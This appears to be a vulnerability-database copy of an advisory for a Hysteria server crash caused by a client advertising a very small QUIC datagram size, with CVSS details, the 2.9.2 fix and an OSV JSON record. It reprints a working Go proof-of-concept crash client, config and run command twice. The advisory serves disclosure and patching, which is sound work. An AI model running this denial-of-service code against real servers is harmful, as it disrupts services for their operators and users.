GHSA-qh5x-rfwf-rvfv: Github.com/apernet/hysteria Hysteria Vulnerable To Server Crash Vulnerability
HIGH
Advisory Summary
GHSA-qh5x-rfwf-rvfv is a HIGH (CVSS 7.5) hysteria vulnerable to server crash vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/apernet/hysteria libraries in the Go ecosystem. The issue involves hysteria vulnerable to server crash when max_datagram_frame_size very small. Remediation is available by upgrading affected packages to version 2.9.2.
GHSA-qh5x-rfwf-rvfv at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-qh5x-rfwf-rvfv
Severity
HIGH
CVSS v3.1 Base Score
7.5
CWE Classification
CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product
Github.com/apernet/hysteria
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
None (I:N)
Availability
High (A:H)
How to Fix GHSA-qh5x-rfwf-rvfv
To remediate this vulnerability, upgrade all affected Github.com/apernet/hysteria dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/apernet/hysteria
fixed: 2.9.2
Upgrade github.com/apernet/hysteria to 2.9.2
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/apernet/hysteriaHow to Check if You Are Affected
To determine whether your application is affected by GHSA-qh5x-rfwf-rvfv, inspect your project dependencies for Github.com/apernet/hysteria:
inspect dependencies for github.com/apernet/hysteriaAnalyze the terminal output to locate any version of Github.com/apernet/hysteria in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/apernet/hysteria, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
An authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.
### Details
The vulnerable path is the normal server-side UDP response path:
```text
udpSessionEntry.receiveLoop
-> sendMessageAutoFrag
-> frag.FragUDPMessage
```
In `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:
```go
fMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))
```
However, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:
```go
maxPayloadSize := maxSize - m.HeaderSize()
```
If an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:
```go
frag.Data = fullPayload[off : off+payloadSize]
```
### PoC
poc.yaml
```yaml
listen: 127.0.0.1:8443
tls:
cert: poc_server.crt
key: poc_server.key
auth:
type: password
password: udp-frag-panic-poc
masquerade:
type: string
string:
content: nope
statusCode: 404
```
poc.go
```go
//go:build poc
package main
import (
"bytes"
"context"
"crypto/tls"
"encoding/binary"
"flag"
"fmt"
"io"
"net"
"net/http"
"net/url"
"time"
"github.com/apernet/quic-go"
"github.com/apernet/quic-go/http3"
"github.com/apernet/quic-go/quicvarint"
)
const (
authHost = "hysteria"
authPath = "/auth"
authOK = 233
)
func main() {
server := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
auth := flag.String("auth", "", "Hysteria auth/password")
target := flag.String("target", "127.0.0.1:19090", "UDP target reachable from the server")
maxDatagram := flag.Int64("max-datagram", 20, "QUIC max_datagram_frame_size advertised by this client")
insecure := flag.Bool("insecure", true, "skip TLS verification")
echo := flag.Bool("echo", true, "start a local UDP echo server on --target")
flag.Parse()
if *auth == "" {
panic("--auth is required")
}
if *echo {
closeEcho := startUDPEcho(*target)
defer closeEcho()
}
conn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)
defer cleanup()
msg := hysteriaUDPMessage(1, *target, []byte("X"))
fmt.Printf("[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\n",
*target, udpHeaderSize(*target), len(msg), *maxDatagram)
if err := conn.SendDatagram(msg); err != nil {
panic(fmt.Errorf("send trigger datagram: %w", err))
}
fmt.Println("[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage")
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
if _, err := conn.ReceiveDatagram(ctx); err != nil {
fmt.Printf("[*] receive after trigger: %v\n", err)
} else {
fmt.Println("[!] received a response; try a smaller --max-datagram")
}
}
func dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {
serverAddr, err := net.ResolveUDPAddr("udp", server)
if err != nil {
panic(err)
}
udpConn, err := net.ListenUDP("udp", nil)
if err != nil {
panic(err)
}
transport := &quic.Transport{Conn: udpConn}
var qconn *quic.Conn
rt := &http3.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
QUICConfig: &quic.Config{
EnableDatagrams: true,
MaxDatagramFrameSize: maxDatagram,
DisablePathManager: true,
},
Dial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {
qconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)
return qconn, err
},
}
req := &http.Request{
Method: http.MethodPost,
Host: authHost,
URL: &url.URL{Scheme: "https", Host: authHost, Path: authPath},
Header: http.Header{},
Body: io.NopCloser(bytes.NewReader(nil)),
}
req.Header.Set("Hysteria-Auth", auth)
req.Header.Set("Hysteria-CC-RX", "0")
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
resp, err := rt.RoundTrip(req.WithContext(ctx))
if err != nil {
panic(err)
}
defer resp.Body.Close()
if resp.StatusCode != authOK {
panic(fmt.Errorf("auth failed: HTTP status %d", resp.StatusCode))
}
if resp.Header.Get("Hysteria-UDP") == "false" {
panic("server reports UDP disabled")
}
cleanup := func() {
_ = rt.Close()
_ = transport.Close()
_ = udpConn.Close()
if qconn != nil {
_ = qconn.CloseWithError(0, "")
}
}
return qconn, cleanup
}
func hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {
buf := make([]byte, udpHeaderSize(addr)+len(data))
binary.BigEndian.PutUint32(buf[0:4], sessionID)
// PacketID=0, FragID=0, FragCount=1.
buf[7] = 1
i := len(quicvarint.Append(buf[:8], uint64(len(addr))))
i += copy(buf[i:], addr)
copy(buf[i:], data)
return buf
}
func udpHeaderSize(addr string) int {
return 8 + quicvarint.Len(uint64(len(addr))) + len(addr)
}
func startUDPEcho(addr string) func() {
pc, err := net.ListenPacket("udp", addr)
if err != nil {
panic(fmt.Errorf("start UDP echo on %s: %w", addr, err))
}
fmt.Printf("[*] UDP echo listening on %s\n", pc.LocalAddr())
go func() {
buf := make([]byte, 2048)
for {
n, raddr, err := pc.ReadFrom(buf)
if err != nil {
return
}
_, _ = pc.WriteTo(buf[:n], raddr)
}
}()
return func() { _ = pc.Close() }
}
```
poc.sh
```bash
go run -tags poc ./poc_udp_frag_panic.go \
--server 127.0.0.1:8443 \
--auth udp-frag-panic-poc \
--insecure \
--target 127.0.0.1:19090 \
--max-datagram 20
```
### Impact
Server crash
GHSA-qh5x-rfwf-rvfv Affected Github.com/apernet/hysteria Versions
1 component(s)
Fixed Versions:
2.9.2
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/apernet/hysteria
|
Go |
< 2.9.2
|
2.9.2
|
References
Frequently Asked Questions
What is GHSA-qh5x-rfwf-rvfv?
GHSA-qh5x-rfwf-rvfv is a security vulnerability in Github.com/apernet/hysteria involving Hysteria vulnerable to server crash when max_datagram_frame_size very small under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/apernet/hysteria versions are affected?
Affected versions include releases prior to 2.9.2 across affected packages: github.com/apernet/hysteria.
What version fixes GHSA-qh5x-rfwf-rvfv?
Upgrading to 2.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/apernet/hysteria affected?
Yes, github.com/apernet/hysteria is affected in releases prior to 2.9.2. Upgrade your dependency to 2.9.2 or later.
What is the CVSS score of GHSA-qh5x-rfwf-rvfv?
GHSA-qh5x-rfwf-rvfv has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-qh5x-rfwf-rvfv?
GHSA-qh5x-rfwf-rvfv is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for GHSA-qh5x-rfwf-rvfv?
Run the dependency tree command: 'inspect dependencies for github.com/apernet/hysteria'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-qh5x-rfwf-rvfv",
"modified" : "2026-06-26T19:58:12Z",
"published" : "2026-06-26T19:58:12Z",
"aliases" : [ ],
"summary" : "Hysteria vulnerable to server crash when max_datagram_frame_size very small",
"details" : "### Summary\n\nAn authenticated client can crash the Hysteria server by advertising a very small QUIC `max_datagram_frame_size` and then triggering a UDP response from the server. When the server tries to send the UDP response back via QUIC DATAGRAM, quic-go returns `DatagramTooLargeError`. The server then attempts to fragment the Hysteria UDP message, but the fragmentation code does not handle the case where the UDP message header itself is larger than the maximum datagram payload size. This results in a slice bounds panic and terminates the server process.\n\n### Details\n\n\nThe vulnerable path is the normal server-side UDP response path:\n\n```text\nudpSessionEntry.receiveLoop\n -> sendMessageAutoFrag\n -> frag.FragUDPMessage\n```\n\nIn `core/server/udp.go`, `receiveLoop` packages a UDP response into a `protocol.UDPMessage` and calls `sendMessageAutoFrag`. If `SendDatagram` fails with `quic.DatagramTooLargeError`, `sendMessageAutoFrag` calls:\n\n```go\nfMsgs := frag.FragUDPMessage(msg, int(errTooLarge.MaxDatagramPayloadSize))\n```\n\nHowever, `FragUDPMessage` in `core/internal/frag/frag.go` assumes that `maxSize` is greater than the UDP message header size:\n\n```go\nmaxPayloadSize := maxSize - m.HeaderSize()\n```\n\nIf an attacker-controlled client advertises a small enough `max_datagram_frame_size`, `errTooLarge.MaxDatagramPayloadSize` can be smaller than `m.HeaderSize()`. In that case, `maxPayloadSize` becomes zero or negative, and the later slicing operation panics:\n\n```go\nfrag.Data = fullPayload[off : off+payloadSize]\n```\n\n\n### PoC\n\npoc.yaml\n\n```yaml\nlisten: 127.0.0.1:8443\n\ntls:\n cert: poc_server.crt\n key: poc_server.key\n\nauth:\n type: password\n password: udp-frag-panic-poc\n\n\nmasquerade:\n type: string\n string:\n content: nope\n statusCode: 404\n```\n\npoc.go\n\n```go\n//go:build poc\n\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/binary\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/apernet/quic-go\"\n\t\"github.com/apernet/quic-go/http3\"\n\t\"github.com/apernet/quic-go/quicvarint\"\n)\n\nconst (\n\tauthHost = \"hysteria\"\n\tauthPath = \"/auth\"\n\tauthOK = 233\n)\n\nfunc main() {\n\tserver := flag.String(\"server\", \"127.0.0.1:8443\", \"Hysteria server address\")\n\tauth := flag.String(\"auth\", \"\", \"Hysteria auth/password\")\n\ttarget := flag.String(\"target\", \"127.0.0.1:19090\", \"UDP target reachable from the server\")\n\tmaxDatagram := flag.Int64(\"max-datagram\", 20, \"QUIC max_datagram_frame_size advertised by this client\")\n\tinsecure := flag.Bool(\"insecure\", true, \"skip TLS verification\")\n\techo := flag.Bool(\"echo\", true, \"start a local UDP echo server on --target\")\n\tflag.Parse()\n\n\tif *auth == \"\" {\n\t\tpanic(\"--auth is required\")\n\t}\n\tif *echo {\n\t\tcloseEcho := startUDPEcho(*target)\n\t\tdefer closeEcho()\n\t}\n\n\tconn, cleanup := dialAndAuth(*server, *auth, *insecure, *maxDatagram)\n\tdefer cleanup()\n\n\tmsg := hysteriaUDPMessage(1, *target, []byte(\"X\"))\n\tfmt.Printf(\"[*] authenticated, target=%s, headerSize=%d, datagramSize=%d, advertisedMaxDatagram=%d\\n\",\n\t\t*target, udpHeaderSize(*target), len(msg), *maxDatagram)\n\n\tif err := conn.SendDatagram(msg); err != nil {\n\t\tpanic(fmt.Errorf(\"send trigger datagram: %w\", err))\n\t}\n\tfmt.Println(\"[+] trigger sent; vulnerable server should panic in frag.FragUDPMessage\")\n\n\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)\n\tdefer cancel()\n\tif _, err := conn.ReceiveDatagram(ctx); err != nil {\n\t\tfmt.Printf(\"[*] receive after trigger: %v\\n\", err)\n\t} else {\n\t\tfmt.Println(\"[!] received a response; try a smaller --max-datagram\")\n\t}\n}\n\nfunc dialAndAuth(server, auth string, insecure bool, maxDatagram int64) (*quic.Conn, func()) {\n\tserverAddr, err := net.ResolveUDPAddr(\"udp\", server)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tudpConn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttransport := &quic.Transport{Conn: udpConn}\n\tvar qconn *quic.Conn\n\trt := &http3.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},\n\t\tQUICConfig: &quic.Config{\n\t\t\tEnableDatagrams: true,\n\t\t\tMaxDatagramFrameSize: maxDatagram,\n\t\t\tDisablePathManager: true,\n\t\t},\n\t\tDial: func(ctx context.Context, _ string, tlsCfg *tls.Config, cfg *quic.Config) (*quic.Conn, error) {\n\t\t\tqconn, err = transport.DialEarly(ctx, serverAddr, tlsCfg, cfg)\n\t\t\treturn qconn, err\n\t\t},\n\t}\n\n\treq := &http.Request{\n\t\tMethod: http.MethodPost,\n\t\tHost: authHost,\n\t\tURL: &url.URL{Scheme: \"https\", Host: authHost, Path: authPath},\n\t\tHeader: http.Header{},\n\t\tBody: io.NopCloser(bytes.NewReader(nil)),\n\t}\n\treq.Header.Set(\"Hysteria-Auth\", auth)\n\treq.Header.Set(\"Hysteria-CC-RX\", \"0\")\n\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\tresp, err := rt.RoundTrip(req.WithContext(ctx))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != authOK {\n\t\tpanic(fmt.Errorf(\"auth failed: HTTP status %d\", resp.StatusCode))\n\t}\n\tif resp.Header.Get(\"Hysteria-UDP\") == \"false\" {\n\t\tpanic(\"server reports UDP disabled\")\n\t}\n\n\tcleanup := func() {\n\t\t_ = rt.Close()\n\t\t_ = transport.Close()\n\t\t_ = udpConn.Close()\n\t\tif qconn != nil {\n\t\t\t_ = qconn.CloseWithError(0, \"\")\n\t\t}\n\t}\n\treturn qconn, cleanup\n}\n\nfunc hysteriaUDPMessage(sessionID uint32, addr string, data []byte) []byte {\n\tbuf := make([]byte, udpHeaderSize(addr)+len(data))\n\tbinary.BigEndian.PutUint32(buf[0:4], sessionID)\n\t// PacketID=0, FragID=0, FragCount=1.\n\tbuf[7] = 1\n\ti := len(quicvarint.Append(buf[:8], uint64(len(addr))))\n\ti += copy(buf[i:], addr)\n\tcopy(buf[i:], data)\n\treturn buf\n}\n\nfunc udpHeaderSize(addr string) int {\n\treturn 8 + quicvarint.Len(uint64(len(addr))) + len(addr)\n}\n\nfunc startUDPEcho(addr string) func() {\n\tpc, err := net.ListenPacket(\"udp\", addr)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"start UDP echo on %s: %w\", addr, err))\n\t}\n\tfmt.Printf(\"[*] UDP echo listening on %s\\n\", pc.LocalAddr())\n\n\tgo func() {\n\t\tbuf := make([]byte, 2048)\n\t\tfor {\n\t\t\tn, raddr, err := pc.ReadFrom(buf)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t_, _ = pc.WriteTo(buf[:n], raddr)\n\t\t}\n\t}()\n\treturn func() { _ = pc.Close() }\n}\n```\n\npoc.sh\n```bash\ngo run -tags poc ./poc_udp_frag_panic.go \\\n --server 127.0.0.1:8443 \\\n --auth udp-frag-panic-poc \\\n --insecure \\\n --target 127.0.0.1:19090 \\\n --max-datagram 20\n```\n\n\n\n### Impact\nServer crash",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/apernet/hysteria"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.9.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apernet/hysteria/security/advisories/GHSA-qh5x-rfwf-rvfv"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apernet/hysteria"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T19:58:12Z",
"nvd_published_at" : null
}
}